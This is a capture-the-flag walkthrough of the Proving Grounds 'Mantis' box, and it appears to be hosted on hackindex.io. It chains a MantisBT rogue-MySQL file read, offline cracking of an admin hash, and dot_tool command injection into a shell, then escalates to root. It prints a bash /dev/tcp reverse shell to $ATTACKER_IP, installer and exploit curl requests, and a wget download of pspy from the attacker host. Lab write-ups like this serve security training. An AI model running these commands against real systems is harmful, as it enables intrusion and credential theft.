# Mantis Writeup - Proving Grounds

> Intermediate Linux box chaining a rogue-MySQL config leak and cracked admin hash into MantisBT's dot_tool command injection for a shell, then escalating to root via a cron-leaked database password reused on a sudo-ALL account.

- **URL:** https://hackindex.io/writeups/mantis
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** information-disclosure, command-injection, hash-cracking, mantisbt, privilege-escalation, credential-reuse, cve-2017-12419, cve-2019-15715
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Mantis runs MantisBT 2.5.2 with its installer still reachable. A rogue MySQL server (CVE-2017-12419) leaks the application's database credentials, which unlock the admin password hash for a post-auth command injection (CVE-2019-15715) and a `www-data` shell. A cron job caught leaking its database password in `ps` output gives root through a reused password and a wide-open sudo rule.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 80/tcp   open  http    Apache httpd 2.4.41 (Ubuntu)
# 3306/tcp open  mysql   MariaDB 5.5.5-10.3.34
```

HTTP and MySQL. Brute force the web root for directories.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
# /bugtracker/                    (Status: 301)
# /bugtracker/admin/install.php   (Status: 200)
```

`/bugtracker/` is **MantisBT 2.5.2**, and its `install.php` is still reachable.

## Exploitation

### Rogue MySQL server to read config (CVE-2017-12419)

The installer lets an attacker point the database hostname at an arbitrary server. Pointing it at a rogue MySQL server abuses `LOAD DATA LOCAL INFILE` to read local files off the target.

```bash
cd ~/Rogue-MySql-Server
php roguemysql.php
# Target file to read: /var/www/html/bugtracker/config/config_inc.php
# Listening...
```

Trigger the connection by pointing the installer at the rogue server.

```bash
curl "http://$TARGET_IP/bugtracker/admin/install.php?install=3&hostname=$ATTACKER_IP&db_username=root&db_password=root&database_name=mantis&admin_username=root&admin_password=root"
```

The rogue server captures the config file, which leaks the real database credentials.

```bash
cat config_inc.php
# $g_hostname      = 'localhost';
# $g_db_type       = 'mysqli';
# $g_database_name = 'bugtracker';
# $g_db_username   = 'root';
# $g_db_password   = '$MANTISDB_PASSWORD';
```

### Dump and crack the admin hash

Use the leaked credentials to query the user table directly.

```bash
mysql -h $TARGET_IP -u root -p'$MANTISDB_PASSWORD' --skip-ssl -e "USE bugtracker; SELECT username, password FROM mantis_user_table;"
# +---------------+----------------------------------+
# | username      | password                         |
# +---------------+----------------------------------+
# | administrator | c7870d0b102cfb2f4916ff04e47b5c6f |
# +---------------+----------------------------------+
```

Crack the MD5 hash offline.

```bash
hashcat -m 0 c7870d0b102cfb2f4916ff04e47b5c6f /usr/share/wordlists/rockyou.txt
# administrator:$ADMIN_PASSWORD
```

### MantisBT dot_tool command injection (CVE-2019-15715)

Log in to `/bugtracker/login_page.php` with the cracked admin credentials. Under **Manage > Manage Configuration > Configuration Report**, set `relationship_graph_enable` to `1` and `dot_tool` to a reverse shell one-liner.

```bash
bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
```

Start a listener, then trigger the injected config by requesting the graph image endpoint.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
curl http://$TARGET_IP/bugtracker/workflow_graph_img.php
```

The listener catches a shell as `www-data`. Stabilize it.

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# www-data@mantis:/var/www/html/bugtracker$
```

## Privilege Escalation

### Cron password leak via process monitoring

Upload `pspy` to catch short-lived processes, including ones spawned by cron.

```bash
wget http://$ATTACKER_IP:8080/pspy64
chmod +x pspy64
./pspy64
# CMD: UID=1000  mysqldump -u bugtracker -p$BUGTRACKER_PASSWORD bugtracker
# CMD: UID=1000  bash /home/mantis/db_backups/backup.sh
```

A root-scheduled backup script passes the `bugtracker` database password on the command line, which leaks it through `ps`. That password is reused for the `mantis` system account.

```bash
su mantis
# Password:
# mantis@mantis:~$ id
# uid=1000(mantis) gid=1000(mantis)
```

### Root via sudo

Check sudo privileges.

```bash
sudo -l
# User mantis may run the following commands on mantis:
#     (ALL : ALL) ALL
```

```bash
sudo su
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Unrestricted sudo gives a root shell.

Related

## References

- [CVE-2017-12419](https://nvd.nist.gov/vuln/detail/CVE-2017-12419) - MantisBT installer SSRF to arbitrary file read via a rogue MySQL server.
- [CVE-2019-15715](https://nvd.nist.gov/vuln/detail/CVE-2019-15715) - MantisBT post-auth command injection via the dot_tool configuration option.